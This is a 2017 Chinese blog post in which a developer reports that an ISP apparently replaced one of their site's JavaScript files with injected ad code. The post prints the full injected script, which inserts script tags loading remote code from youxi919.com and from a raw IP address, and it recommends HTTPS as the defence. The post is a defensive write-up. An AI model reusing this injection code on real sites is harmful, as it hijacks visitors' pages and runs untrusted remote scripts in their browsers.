它山之石可以攻玉

键盘上的生活
  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

js去除运营商或者路由器添加的广告脚本

Posted on 2017-07-26 11:10  陈达辉  阅读(3346)  评论(0编辑  收藏  举报

是不是偶尔发现在家里看网页的时候回插入一个广告,很烦人。开发的网站,上传到了阿里云 oss,设置了域名解析,但是在家里晚上访问的时候,总会在页面添加一个广告,导致页面卡主,一开始以为是路由器的问题,以为是中毒了,后来发现应该是运营商加的广告,不清楚是阿里oss出口加的,还是运营商加的。

分析

测试发现,访问网站首页的时候,有一个js文件被替换,被替换后的js代码如下:

(function() {
    o = "http://youxi919.com/h5web/js/index.js?";
    sh = "http://218.93.127.37:7701/main.js?v=3.94&sp=304&ty=dpc";
    w = window;
    d = document;
    function ins(s, dm, id) {
        e = d.createElement("script");
        e.src = s;
        e.type = "text/javascript";
        id ? e.id = id: null;
        dm.appendChild(e);
    };
    p = d.scripts[d.scripts.length - 1].parentNode;
    ins(o, p);
    ds = function() {
        db = d.body;
        if (db && !document.getElementById("bdstat")) {
            if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
                if (w.top == w.self) {
                    ins(sh, db, "bdstat");
                }
            }
        } else {
            setTimeout("ds()", 1500);
        }
    };
    ds();
})();
var mim_params = {
    'sp': '304',
    'aid': '13050',
    'sda_man': 'XVpZWldNXV1fWFNA',
    'src': '0',
    'adtype': '1',
    'uid': 'VCpdXydAXCotUlNNKytcWF07LlxaWlJPLF1cKSQ/LyleXlJIX1teWVRKW1Y=',
    'spid': 'sohu',
    'ad_list': '13050'
};

 

看见了没,比较高级,居然会自动替换js文件。经测试会随机挑选首页中加载的js文件替换。

解决方法:

 

可以把JS文件放在第三方的CDN上,然后页面采用https去引用JS文件,或者自己服务器安装SSL证书以支持https协议

https引用的文件,一般不容易被劫持。

这段脚本现在还不知道是阿里云oss那边注入的还是运营商的问题,希望有关部门可以管管。
这边查了一下oss出来的文件是没有问题的,但是为什么会被注入?比较质疑?应该是运营商的问题,奶奶的,直接注入广告!